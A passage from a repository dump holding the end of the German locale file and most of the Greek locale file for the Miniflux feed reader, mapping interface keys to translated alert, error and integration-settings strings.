[\n        \"%d Artikel insgesamt\",\n        \"%d Artikel insgesamt\"\n    ],\n    \"page.unread.title\": \"Ungelesen\",\n    \"page.unread_entry_count\": [\n        \"%d ungelesener Artikel\",\n        \"%d ungelesene Artikel\"\n    ],\n    \"page.users.actions\": \"Aktionen\",\n    \"page.users.admin.no\": \"Nein\",\n    \"page.users.admin.yes\": \"Ja\",\n    \"page.users.is_admin\": \"Administrator\",\n    \"page.users.last_login\": \"Letzte Anmeldung\",\n    \"page.users.never_logged\": \"Niemals\",\n    \"page.users.title\": \"Benutzer\",\n    \"page.users.username\": \"Benutzername\",\n    \"page.webauthn_rename.title\": \"Passkey umbenennen\",\n    \"pagination.first\": \"Erste\",\n    \"pagination.last\": \"Letzte\",\n    \"pagination.next\": \"Nächste\",\n    \"pagination.previous\": \"Vorherige\",\n    \"search.label\": \"Suche\",\n    \"search.placeholder\": \"Suche...\",\n    \"search.submit\": \"Suchen\",\n    \"skip_to_content\": \"Zum Inhalt springen\",\n    \"time_elapsed.days\": [\n        \"vor %d Tag\",\n        \"vor %d Tagen\"\n    ],\n    \"time_elapsed.hours\": [\n        \"vor %d Stunde\",\n        \"vor %d Stunden\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"vor %d Minute\",\n        \"vor %d Minuten\"\n    ],\n    \"time_elapsed.months\": [\n        \"vor %d Monat\",\n        \"vor %d Monaten\"\n    ],\n    \"time_elapsed.not_yet\": \"noch nicht\",\n    \"time_elapsed.now\": \"gerade\",\n    \"time_elapsed.weeks\": [\n        \"vor %d Woche\",\n        \"vor %d Wochen\"\n    ],\n    \"time_elapsed.years\": [\n        \"vor %d Jahr\",\n        \"vor %d Jahren\"\n    ],\n    \"time_elapsed.yesterday\": \"gestern\",\n    \"tooltip.keyboard_shortcuts\": \"Tastenkürzel: %s\",\n    \"tooltip.logged_user\": \"Angemeldet als %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/el_EL.json",
    "content": "{\n    \"action.cancel\": \"ακύρωση\",\n    \"action.download\": \"Λήψη\",\n    \"action.edit\": \"Επεξεργασία\",\n    \"action.home_screen\": \"Προσθήκη στην αρχική οθόνη\",\n    \"action.import\": \"Εισαγωγή\",\n    \"action.login\": \"Σύνδεση\",\n    \"action.or\": \"ή\",\n    \"action.remove\": \"Κατάργηση\",\n    \"action.remove_feed\": \"Κατάργηση αυτής της ροής\",\n    \"action.save\": \"Αποθηκεύσετε\",\n    \"action.subscribe\": \"Εγγραφείτε\",\n    \"action.update\": \"Ενημέρωση\",\n    \"alert.account_linked\": \"Ο εξωτερικός σας λογαριασμός είναι πλέον συνδεδεμένος!\",\n    \"alert.account_unlinked\": \"Ο εξωτερικός σας λογαριασμός είναι πλέον αποσυνδεδεμένος!\",\n    \"alert.background_feed_refresh\": \"Όλες οι ροές ανανεώνονται στο παρασκήνιο. Μπορείτε να συνεχίσετε να χρησιμοποιείτε το Miniflux όσο εκτελείται αυτή η διαδικασία.\",\n    \"alert.feed_error\": \"Υπάρχει πρόβλημα με αυτήν τη ροή\",\n    \"alert.no_starred\": \"Δεν υπάρχει σελιδοδείκτης αυτή τη στιγμή.\",\n    \"alert.no_category\": \"Δεν υπάρχει κατηγορία.\",\n    \"alert.no_category_entry\": \"Δεν υπάρχουν άρθρα σε αυτήν την κατηγορία.\",\n    \"alert.no_feed\": \"Δεν έχετε συνδρομές.\",\n    \"alert.no_feed_entry\": \"Δεν υπάρχουν άρθρα για αυτήν τη ροή.\",\n    \"alert.no_feed_in_category\": \"Δεν υπάρχει συνδρομή για αυτήν την κατηγορία.\",\n    \"alert.no_history\": \"Δεν υπάρχει ιστορικό αυτή τη στιγμή.\",\n    \"alert.no_search_result\": \"Δεν υπάρχουν αποτελέσματα για αυτήν την αναζήτηση.\",\n    \"alert.no_shared_entry\": \"Δεν υπάρχει κοινόχρηστη καταχώρηση.\",\n    \"alert.no_tag_entry\": \"Δεν υπάρχουν αντικείμενα που να ταιριάζουν με αυτή την ετικέτα.\",\n    \"alert.no_unread_entry\": \"Δεν υπάρχουν μη αναγνωσμένα άρθρα.\",\n    \"alert.no_user\": \"Είστε ο μόνος χρήστης.\",\n    \"alert.prefs_saved\": \"Οι προτιμήσεις αποθηκεύτηκαν!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Έχετε ενεργοποιήσει πάρα πολλές ανανεώσεις ροών. Παρακαλώ περιμένετε %d λεπτό πριν προσπαθήσετε ξανά.\",\n        \"Έχετε ενεργοποιήσει πάρα πολλές ανανεώσεις ροών. Παρακαλώ περιμένετε %d λεπτά πριν προσπαθήσετε ξανά.\"\n    ],\n    \"confirm.loading\": \"Σε εξέλιξη...\",\n    \"confirm.no\": \"όχι\",\n    \"confirm.question\": \"Είστε σίγουροι;\",\n    \"confirm.question.refresh\": \"Θέλετε να επιτελέσετε μια υποχρεωτική ανανέωση;\",\n    \"confirm.yes\": \"ναι\",\n    \"enclosure_media_controls.seek\": \"Αναζήτηση:\",\n    \"enclosure_media_controls.seek.title\": \"Αναζήτηση %s δευτερόλεπτα\",\n    \"enclosure_media_controls.speed\": \"Ταχύτητα:\",\n    \"enclosure_media_controls.speed.faster\": \"Γρηγορότερα\",\n    \"enclosure_media_controls.speed.faster.title\": \"Γρηγορότερα κατά %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Επαναφορά\",\n    \"enclosure_media_controls.speed.reset.title\": \"Επαναφορά ταχύτητας σε 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Πιο αργά\",\n    \"enclosure_media_controls.speed.slower.title\": \"Πιο αργά κατά %sx\",\n    \"entry.starred.toast.off\": \"Μη αγαπημένα\",\n    \"entry.starred.toast.on\": \"Αγαπημένα\",\n    \"entry.starred.toggle.off\": \"Αναίρεση αγαπημένου\",\n    \"entry.starred.toggle.on\": \"Αγαπημένο\",\n    \"entry.comments.label\": \"Σχόλια\",\n    \"entry.comments.title\": \"Δείτε Σχόλια\",\n    \"entry.estimated_reading_time\": [\n        \"%d λεπτό ανάγνωση\",\n        \"%d λεπτά ανάγνωση\"\n    ],\n    \"entry.external_link.label\": \"Εξωτερικός σύνδεσμος\",\n    \"entry.save.completed\": \"Έγινε!\",\n    \"entry.save.label\": \"Αποθηκεύσετε\",\n    \"entry.save.title\": \"Αποθηκεύστε αυτό το άρθρο\",\n    \"entry.save.toast.completed\": \"Το άρθρο αποθηκεύτηκε\",\n    \"entry.scraper.completed\": \"Έγινε!\",\n    \"entry.scraper.label\": \"Λήψη\",\n    \"entry.scraper.title\": \"Λήψη αρχικού περιεχομένου\",\n    \"entry.share.label\": \"Διαμοιρασμός\",\n    \"entry.share.title\": \"Μοιραστείτε αυτό το άρθρο\",\n    \"entry.shared_entry.label\": \"Διαμοιρασμός\",\n    \"entry.shared_entry.title\": \"Ανοίξτε τον δημόσιο σύνδεσμο\",\n    \"entry.state.loading\": \"Φόρτωση...\",\n    \"entry.state.saving\": \"Aποθήκευση...\",\n    \"entry.status.mark_as_read\": \"Επισήμανση ως αναγνωσμένο\",\n    \"entry.status.mark_as_unread\": \"Επισήμανση ως μη αναγνωσμένο\",\n    \"entry.status.title\": \"Αλλαγή κατάστασης καταχώρησης\",\n    \"entry.status.toast.read\": \"Επισήμανση ως αναγνωσμένο\",\n    \"entry.status.toast.unread\": \"Επισήμανση ως μη αναγνωσμένο\",\n    \"entry.tags.label\": \"Ετικέτες:\",\n    \"entry.tags.more_tags_label\": [\n        \"Εμφάνιση %d ακόμη ετικέτας\",\n        \"Εμφάνιση %d ακόμη ετικετών\"\n    ],\n    \"entry.unshare.label\": \"Aναίρεση Διαμοιρασμού\",\n    \"error.api_key_already_exists\": \"Αυτό το κλειδί API υπάρχει ήδη.\",\n    \"error.bad_credentials\": \"Μη έγκυρο όνομα χρήστη ή κωδικό πρόσβασης.\",\n    \"error.category_already_exists\": \"Αυτή η κατηγορία υπάρχει ήδη.\",\n    \"error.category_not_found\": \"Αυτή η κατηγορία δεν υπάρχει ή δεν ανήκει σε αυτόν τον χρήστη.\",\n    \"error.database_error\": \"Σφάλμα βάσης δεδομένων: %v.\",\n    \"error.different_passwords\": \"Οι κωδικοί πρόσβασης δεν είναι οι ίδιοι.\",\n    \"error.duplicate_fever_username\": \"Υπάρχει ήδη κάποιος άλλος με το ίδιο όνομα χρήστη Fever!\",\n    \"error.duplicate_googlereader_username\": \"Υπάρχει ήδη κάποιος άλλος με το ίδιο όνομα χρήστη Google Reader!\",\n    \"error.duplicate_linked_account\": \"Υπάρχει ήδη κάποιος που σχετίζεται με αυτόν τον πάροχο!\",\n    \"error.duplicated_feed\": \"Αυτή η ροή υπάρχει ήδη.\",\n    \"error.empty_file\": \"Αυτό το αρχείο είναι κενό.\",\n    \"error.entries_per_page_invalid\": \"Ο αριθμός των καταχωρήσεων ανά σελίδα δεν είναι έγκυρος.\",\n    \"error.feed_already_exists\": \"Αυτή η ροή υπάρχει ήδη.\",\n    \"error.feed_category_not_found\": \"Αυτή η κατηγορία δεν υπάρχει ή δεν ανήκει σε αυτόν τον χρήστη.\",\n    \"error.feed_format_not_detected\": \"Δεν είναι δυνατή η ανίχνευση της μορφής ροής: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Ο κανόνας λίστας μπλοκ δεν είναι έγκυρος.\",\n    \"error.feed_invalid_keeplist_rule\": \"Ο κανόνας keep list δεν είναι έγκυρος.\",\n    \"error.feed_mandatory_fields\": \"Η διεύθυνση URL και η κατηγορία είναι υποχρεωτικά.\",\n    \"error.feed_not_found\": \"Αυτή η ροή δεν υπάρχει ή δεν ανήκει σε αυτόν τον χρήστη.\",\n    \"error.feed_title_not_empty\": \"Ο τίτλος ροής δεν μπορεί να είναι κενός.\",\n    \"error.feed_url_not_empty\": \"Η διεύθυνση URL ροής δεν μπορεί να είναι κενή.\",\n    \"error.fields_mandatory\": \"Όλα τα πεδία είναι υποχρεωτικά.\",\n    \"error.http_bad_gateway\": \"Ο ιστότοπος δεν είναι διαθέσιμος αυτήν τη στιγμή λόγω σφάλματος κακής πύλης. Το πρόβλημα δεν είναι στην πλευρά του Miniflux. Παρακαλώ δοκιμάστε ξανά αργότερα.\",\n    \"error.http_body_read\": \"Δεν είναι δυνατή η ανάγνωση του σώματος HTTP: %v.\",\n    \"error.http_client_error\": \"Σφάλμα πελάτη HTTP: %v.\",\n    \"error.http_empty_response\": \"Η απάντηση HTTP είναι κενή. Ίσως αυτός ο ιστότοπος χρησιμοποιεί μηχανισμό προστασίας από bot;\",\n    \"error.http_empty_response_body\": \"Το σώμα απάντησης HTTP είναι κενό.\",\n    \"error.http_forbidden\": \"Η πρόσβαση σε αυτόν τον ιστότοπο απαγορεύεται. Ίσως αυτός ο ιστότοπος διαθέτει μηχανισμό προστασίας από bot;\",\n    \"error.http_gateway_timeout\": \"Ο ιστότοπος δεν είναι διαθέσιμος αυτήν τη στιγμή λόγω σφάλματος χρονικού ορίου πύλης. Το πρόβλημα δεν είναι στην πλευρά του Miniflux. Παρακαλώ δοκιμάστε ξανά αργότερα.\",\n    \"error.http_internal_server_error\": \"Ο ιστότοπος δεν είναι διαθέσιμος αυτήν τη στιγμή λόγω σφάλματος διακομιστή. Το πρόβλημα δεν είναι στην πλευρά του Miniflux. Παρακαλώ δοκιμάστε ξανά αργότερα.\",\n    \"error.http_not_authorized\": \"Η πρόσβαση σε αυτόν τον ιστότοπο δεν είναι εξουσιοδοτημένη. Μπορεί να είναι λανθασμένο όνομα χρήστη ή κωδικός πρόσβασης.\",\n    \"error.http_resource_not_found\": \"Ο ζητούμενος πόρος δεν βρέθηκε. Επαληθεύστε τη διεύθυνση URL.\",\n    \"error.http_response_too_large\": \"Η απάντηση HTTP είναι πολύ μεγάλη. Μπορείτε να αυξήσετε το όριο μεγέθους απάντησης HTTP στις καθολικές ρυθμίσεις (απαιτεί επανεκκίνηση του διακομιστή).\",\n    \"error.http_service_unavailable\": \"Ο ιστότοπος δεν είναι διαθέσιμος αυτήν τη στιγμή λόγω εσωτερικού σφάλματος διακομιστή. Το πρόβλημα δεν είναι στην πλευρά του Miniflux. Παρακαλώ δοκιμάστε ξανά αργότερα.\",\n    \"error.http_too_many_requests\": \"Το Miniflux δημιούργησε πάρα πολλά αιτήματα σε αυτόν τον ιστότοπο. Παρακαλώ δοκιμάστε ξανά αργότερα ή αλλάξτε τη διαμόρφωση της εφαρμογής.\",\n    \"error.http_unexpected_status_code\": \"Ο ιστότοπος δεν είναι διαθέσιμος αυτήν τη στιγμή λόγω μη αναμενόμενου κωδικού κατάστασης HTTP: %d. Το πρόβλημα δεν είναι στην πλευρά του Miniflux. Παρακαλώ δοκιμάστε ξανά αργότερα.\",\n    \"error.invalid_categories_sorting_order\": \"Η κατηγορία δεν μπορεί να είναι κενή.\",\n    \"error.invalid_default_home_page\": \"Μη έγκυρη προεπιλεγμένη αρχική σελίδα!\",\n    \"error.invalid_display_mode\": \"Μη έγκυρη λειτουργία εμφάνισης εφαρμογών ιστού.\",\n    \"error.invalid_entry_direction\": \"Μη έγκυρη κατεύθυνση ταξινόμησης άρθρων.\",\n    \"error.invalid_entry_order\": \"Η σειρά των καταχωρήσεων είναι μη έγκυρη.\",\n    \"error.invalid_feed_proxy_url\": \"Μη έγκυρη διεύθυνση URL διακομιστή μεσολάβησης.\",\n    \"error.invalid_feed_url\": \"Μη έγκυρη διεύθυνση URL ροής.\",\n    \"error.invalid_gesture_nav\": \"Μη έγκυρη πλοήγηση με χειρονομίες.\",\n    \"error.invalid_language\": \"Μη έγκυρη γλώσσα.\",\n    \"error.invalid_site_url\": \"Μη έγκυρη διεύθυνση URL ιστότοπου.\",\n    \"error.invalid_theme\": \"Μη έγκυρο θέμα.\",\n    \"error.invalid_timezone\": \"Μη έγκυρη ζώνη ώρας.\",\n    \"error.network_operation\": \"Το Miniflux δεν μπορεί να φτάσει σε αυτόν τον ιστότοπο λόγω σφάλματος δικτύου: %v.\",\n    \"error.network_timeout\": \"Αυτός ο ιστότοπος είναι πολύ αργός και το αίτημα έληξε: %v\",\n    \"error.password_min_length\": \"Ο κωδικός πρόσβασης πρέπει να έχει τουλάχιστον 6 χαρακτήρες.\",\n    \"error.proxy_url_not_empty\": \"Η διεύθυνση URL του διακομιστή μεσολάβησης δεν μπορεί να είναι κενή.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Μη έγκυρος κανόνας αποκλεισμού: ο κανόνας #%d λείπει ένα έγκυρο όνομα πεδίου (Επιλογές: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Μη έγκυρος κανόνας αποκλεισμού: το μοτίβο του κανόνα #%d δεν είναι έγκυρη κανονική έκφραση\",\n    \"error.settings_block_rule_regex_required\": \"Μη έγκυρος κανόνας αποκλεισμού: το μοτίβο του κανόνα #%d δεν παρέχεται\",\n    \"error.settings_block_rule_separator_required\": \"Μη έγκυρος κανόνας αποκλεισμού: το μοτίβο του κανόνα #%d απαιτείται να διαχωρίζεται με ένα '='\",\n    \"error.settings_invalid_domain_list\": \"Μη έγκυρη λίστα τομέων. Παρακαλώ δώστε μια λίστα τομέων διαχωρισμένων με κενό.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Μη έγκυρος κανόνας διατήρησης: ο κανόνας #%d λείπει ένα έγκυρο όνομα πεδίου (Επιλογές: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Μη έγκυρος κανόνας διατήρησης: το μοτίβο του κανόνα #%d δεν είναι έγκυρη κανονική έκφραση\",\n    \"error.settings_keep_rule_regex_required\": \"Μη έγκυρος κανόνας διατήρησης: το μοτίβο του κανόνα #%d δεν παρέχεται\",\n    \"error.settings_keep_rule_separator_required\": \"Μη έγκυρος κανόνας διατήρησης: το μοτίβο του κανόνα #%d απαιτείται να διαχωρίζεται με ένα '='\",\n    \"error.settings_mandatory_fields\": \"Τα πεδία όνομα χρήστη, θέμα, Γλώσσα και ζώνη ώρας είναι υποχρεωτικά.\",\n    \"error.settings_media_playback_rate_range\": \"Η ταχύτητα αναπαραγωγής είναι εκτός εύρους\",\n    \"error.settings_reading_speed_is_positive\": \"Οι ταχύτητες ανάγνωσης πρέπει να είναι θετικοί ακέραιοι αριθμοί.\",\n    \"error.site_url_not_empty\": \"Η διεύθυνση URL του ιστότοπου δεν μπορεί να είναι κενή.\",\n    \"error.subscription_not_found\": \"Δεν είναι δυνατή η εύρεση συνδρομής.\",\n    \"error.title_required\": \"Ο τίτλος είναι υποχρεωτικός.\",\n    \"error.tls_error\": \"Σφάλμα TLS: %q. Μπορείτε να απενεργοποιήσετε την επαλήθευση TLS στις ρυθμίσεις ροής εάν το επιθυμείτε.\",\n    \"error.unable_to_create_api_key\": \"Δεν είναι δυνατή η δημιουργία αυτού του κλειδιού API.\",\n    \"error.unable_to_create_category\": \"Δεν είναι δυνατή η δημιουργία αυτής της κατηγορίας.\",\n    \"error.unable_to_create_user\": \"Δεν είναι δυνατή η δημιουργία αυτού του χρήστη.\",\n    \"error.unable_to_detect_rssbridge\": \"Δεν είναι δυνατή η ανίχνευση ροής με χρήση RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Δεν είναι δυνατή η ανάλυση αυτής της ροής: %v.\",\n    \"error.unable_to_update_category\": \"Δεν είναι δυνατή η ενημέρωση αυτής της κατηγορίας.\",\n    \"error.unable_to_update_feed\": \"Δεν είναι δυνατή η ενημέρωση αυτής της ροής.\",\n    \"error.unable_to_update_user\": \"Δεν είναι δυνατή η ενημέρωση αυτού του χρήστη.\",\n    \"error.unlink_account_without_password\": \"Πρέπει να ορίσετε έναν κωδικό πρόσβασης διαφορετικά δεν θα μπορείτε να συνδεθείτε ξανά.\",\n    \"error.user_already_exists\": \"Αυτός ο χρήστης υπάρχει ήδη.\",\n    \"error.user_mandatory_fields\": \"Το όνομα χρήστη είναι υποχρεωτικό.\",\n    \"error.linktaco_missing_required_fields\": \"Το LinkTaco API Token και το Organization Slug είναι απαραίτητα\",\n    \"form.api_key.label.description\": \"Ετικέτα κλειδιού API\",\n    \"form.category.hide_globally\": \"Απόκρυψη καταχωρήσεων σε γενική λίστα μη αναγνωσμένων\",\n    \"form.category.label.title\": \"Τίτλος\",\n    \"form.feed.fieldset.general\": \"Γενικά\",\n    \"form.feed.fieldset.integration\": \"Υπηρεσίες τρίτων\",\n    \"form.feed.fieldset.network_settings\": \"Ρυθμίσεις δικτύου\",\n    \"form.feed.fieldset.rules\": \"Κανόνες\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Να επιτρέπονται αυτο-υπογεγραμμένα ή μη έγκυρα πιστοποιητικά\",\n    \"form.feed.label.apprise_service_urls\": \"Λίστα διευθύνσεων URL υπηρεσιών Apprise διαχωρισμένων με κόμμα\",\n    \"form.feed.label.block_filter_entry_rules\": \"Κανόνες Αποκλεισμού Καταχωρήσεων\",\n    \"form.feed.label.blocklist_rules\": \"Φίλτρα Αποκλεισμού Βασισμένα σε Regex\",\n    \"form.feed.label.category\": \"Κατηγορία\",\n    \"form.feed.label.cookie\": \"Ορισμός Cookies\",\n    \"form.feed.label.crawler\": \"Λήψη αρχικού περιεχομένου\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Περιγραφή\",\n    \"form.feed.label.disable_http2\": \"Απενεργοποίηση HTTP/2 για αποφυγή δακτυλικών αποτυπωμάτων\",\n    \"form.feed.label.disabled\": \"Μη ανανέωση αυτής της ροής\",\n    \"form.feed.label.feed_password\": \"Κωδικός Πρόσβασης ροής\",\n    \"form.feed.label.feed_url\": \"Διεύθυνση URL ροής\",\n    \"form.feed.label.feed_username\": \"Όνομα Χρήστη ροής\",\n    \"form.feed.label.fetch_via_proxy\": \"Χρησιμοποιήστε τον διακομιστή μεσολάβησης που έχει ρυθμιστεί σε επίπεδο εφαρμογής\",\n    \"form.feed.label.hide_globally\": \"Απόκρυψη καταχωρήσεων σε γενική λίστα μη αναγνωσμένων\",\n    \"form.feed.label.ignore_http_cache\": \"Αγνοήστε την προσωρινή μνήμη HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Κανόνες Επιτρεπόμενων Καταχωρήσεων\",\n    \"form.feed.label.keeplist_rules\": \"Φίλτρα Διατήρησης Βασισμένα σε Regex\",\n    \"form.feed.label.no_media_player\": \"Χωρίς πρόγραμμα αναπαραγωγής πολυμέσων (ήχος/βίντεο)\",\n    \"form.feed.label.ntfy_activate\": \"Προώθηση καταχωρήσεων στο ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Προεπιλεγμένη προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Υψηλή προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Χαμηλή προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Μέγιστη προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Ελάχιστη προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Προτεραιότητα Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Θέμα Ntfy (προαιρετικό)\",\n    \"form.feed.label.proxy_url\": \"Διεύθυνση URL διακομιστή μεσολάβησης\",\n    \"form.feed.label.pushover_activate\": \"Προώθηση καταχωρήσεων στο pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Προεπιλεγμένη προτεραιότητα Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Υψηλή προτεραιότητα Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Χαμηλή προτεραιότητα Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Μέγιστη προτεραιότητα Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Ελάχιστη προτεραιότητα Pushover\",\n    \"form.feed.label.pushover_priority\": \"Προτεραιότητα μηνύματος Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Κανόνες Επανασύνταξης Περιεχομένου\",\n    \"form.feed.label.scraper_rules\": \"Κανόνες Scraper\",\n    \"form.feed.label.site_url\": \"Διεύθυνση URL ιστότοπου\",\n    \"form.feed.label.title\": \"Τίτλος\",\n    \"form.feed.label.urlrewrite_rules\": \"κανόνες επανεγγραφής για τη διεύθυνση URL.\",\n    \"form.feed.label.user_agent\": \"Παράκαμψη Προεπιλεγμένου User Agent Χρήστη\",\n    \"form.feed.label.webhook_url\": \"Παράκαμψη διεύθυνσης URL webhook\",\n    \"form.import.label.file\": \"Αρχείο OPML\",\n    \"form.import.label.url\": \"Διεύθυνση URL\",\n    \"form.integration.archiveorg_activate\": \"Προώθηση καταχωρήσεων στο archive.org\",\n    \"form.integration.apprise_activate\": \"Προώθηση καταχωρήσεων στο Apprise\",\n    \"form.integration.apprise_services_url\": \"Λίστα διευθύνσεων URL υπηρεσιών Apprise διαχωρισμένων με κόμμα\",\n    \"form.integration.apprise_url\": \"Διεύθυνση URL API Apprise\",\n    \"form.integration.betula_activate\": \"Αποθήκευση καταχωρήσεων στο Betula\",\n    \"form.integration.betula_token\": \"Διακριτικό Betula\",\n    \"form.integration.betula_url\": \"Διεύθυνση URL διακομιστή Betula\",\n    \"form.integration.cubox_activate\": \"Αποθήκευση καταχωρήσεων στο Cubox\",\n    \"form.integration.cubox_api_link\": \"Σύνδεσμος API Cubox\",\n    \"form.integration.discord_activate\": \"Προώθηση καταχωρήσεων στο Discord\",\n    \"form.integration.discord_webhook_link\": \"Σύνδεσμος Webhook Discord\",\n    \"form.integration.espial_activate\": \"Αποθήκευση άρθρων στο Espial\",\n    \"form.integration.espial_api_key\": \"Κλειδί API Espial\",\n    \"form.integration.espial_endpoint\": \"Τελικό σημείο Espial API\",\n    \"form.integration.espial_tags\": \"Ετικέτες Espial\",\n    \"form.integration.fever_activate\": \"Ενεργοποιήστε το Fever API\",\n    \"form.integration.fever_endpoint\": \"Τελικό σημείο Fever API:\",\n    \"form.integration.fever_password\": \"Κωδικός Πρόσβασης Fever\",\n    \"form.integration.fever_username\": \"Όνομα Χρήστη Fever\",\n    \"form.integration.googlereader_activate\": \"Ενεργοποιήστε το Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Τελικό σημείο Google Reader API:\",\n    \"form.integration.googlereader_password\": \"Κωδικός Πρόσβασης Google Reader\",\n    \"form.integration.googlereader_username\": \"Όνομα Χρήστη Google Reader\",\n    \"form.integration.instapaper_activate\": \"Αποθήκευση άρθρων στο Instapaper\",\n    \"form.integration.instapaper_password\": \"Κωδικός Πρόσβασης Instapaper\",\n    \"form.integration.instapaper_username\": \"Όνομα Χρήστη Instapaper\",\n    \"form.integration.karakeep_activate\": \"Αποθήκευση άρθρων στο Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Κλειδί API Karakeep\",\n    \"form.integration.karakeep_url\": \"Τελικό σημείο Karakeep API\",\n    \"form.integration.karakeep_tags\": \"Ετικέτες Karakeep\",\n    \"form.integration.linkace_activate\": \"Αποθήκευση καταχωρήσεων στο LinkAce\",\n    \"form.integration.linkace_api_key\": \"Κλειδί API LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Απενεργοποίηση ελέγχου συνδέσμου\",\n    \"form.integration.linkace_endpoint\": \"Τελικό σημείο API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Σήμανση συνδέσμου ως ιδιωτικού\",\n    \"form.integration.linkace_tags\": \"Ετικέτες LinkAce\",\n    \"form.integration.linkding_activate\": \"Αποθήκευση άρθρων στο Linkding\",\n    \"form.integration.linkding_api_key\": \"Κλειδί API Linkding\",\n    \"form.integration.linkding_bookmark\": \"Σημείωση του σελιδοδείκτη ως μη αναγνωσμένου\",\n    \"form.integration.linkding_endpoint\": \"Τελικό σημείο Linkding API\",\n    \"form.integration.linkding_tags\": \"Ετικέτες Linkding\",\n    \"form.integration.linktaco_activate\": \"Αποθήκευση καταχωρήσεων στο LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Διακριτικό API LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Λάβετε το προσωπικό σας διακριτικό πρόσβασης στο\",\n    \"form.integration.linktaco_org_slug\": \"Σύντομο όνομα οργανισμού\",\n    \"form.integration.linktaco_tags\": \"Ετικέτες (μέγιστο 10, διαχωρισμένες με κόμμα)\",\n    \"form.integration.linktaco_tags_hint\": \"Μέγιστο 10 ετικέτες, διαχωρισμένες με κόμμα\",\n    \"form.integration.linktaco_visibility\": \"Ορατότητα\",\n    \"form.integration.linktaco_visibility_public\": \"Δημόσια\",\n    \"form.integration.linktaco_visibility_private\": \"Ιδιωτική\",\n    \"form.integration.linktaco_visibility_hint\": \"Η ΙΔΙΩΤΙΚΗ ορατότητα απαιτεί επί πληρωμή λογαριασμό LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Αποθήκευση άρθρων στο Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Κλειδί API Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL βάσης Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID συλλογής Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Μεταφορά νέων άρθρων στο Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Αναγνωριστικό της αίθουσας Matrix\",\n    \"form.integration.matrix_bot_password\": \"Κωδικός πρόσβασης για τον χρήστη Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL διακομιστή Matrix\",\n    \"form.integration.matrix_bot_user\": \"Όνομα χρήστη για το Matrix\",\n    \"form.integration.notion_activate\": \"Αποθήκευση καταχωρήσεων στο Notion\",\n    \"form.integration.notion_page_id\": \"Αναγνωριστικό σελίδας Notion\",\n    \"form.integration.notion_token\": \"Μυστικό διακριτικό Notion\",\n    \"form.integration.ntfy_activate\": \"Προώθηση καταχωρήσεων στο ntfy\",\n    \"form.integration.ntfy_api_token\": \"Διακριτικό API Ntfy (προαιρετικό)\",\n    \"form.integration.ntfy_icon_url\": \"Διεύθυνση URL εικονιδίου Ntfy (προαιρετικό)\",\n    \"form.integration.ntfy_internal_links\": \"Χρήση εσωτερικών συνδέσμων με κλικ (προαιρετικό)\",\n    \"form.integration.ntfy_password\": \"Κωδικός πρόσβασης Ntfy (προαιρετικό)\",\n    \"form.integration.ntfy_topic\": \"Θέμα Ntfy (προεπιλογή χρησιμοποιείται εάν δεν οριστεί στη ροή)\",\n    \"form.integration.ntfy_url\": \"Διεύθυνση URL Ntfy (προαιρετικό, προεπιλογή είναι ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Όνομα χρήστη Ntfy (προαιρετικό)\",\n    \"form.integration.nunux_keeper_activate\": \"Αποθήκευση άρθρων στο Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Κλειδί API Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Τελικό σημείο Nunux Keeper API\",\n    \"form.integration.omnivore_activate\": \"Αποθήκευση άρθρων στο Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Κλειδί API Omnivore\",\n    \"form.integration.omnivore_url\": \"Τελικό σημείο Omnivore API\",\n    \"form.integration.pinboard_activate\": \"Αποθήκευση άρθρων στο Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Σημείωση του σελιδοδείκτη ως μη αναγνωσμένου\",\n    \"form.integration.pinboard_tags\": \"Ετικέτες Pinboard\",\n    \"form.integration.pinboard_token\": \"Διακριτικό API Pinboard\",\n    \"form.integration.pushover_activate\": \"Προώθηση καταχωρήσεων στο Pushover\",\n    \"form.integration.pushover_device\": \"Συσκευή Pushover (προαιρετικό)\",\n    \"form.integration.pushover_prefix\": \"Πρόθεμα διεύθυνσης URL Pushover (προαιρετικό)\",\n    \"form.integration.pushover_token\": \"Διακριτικό API εφαρμογής Pushover\",\n    \"form.integration.pushover_user\": 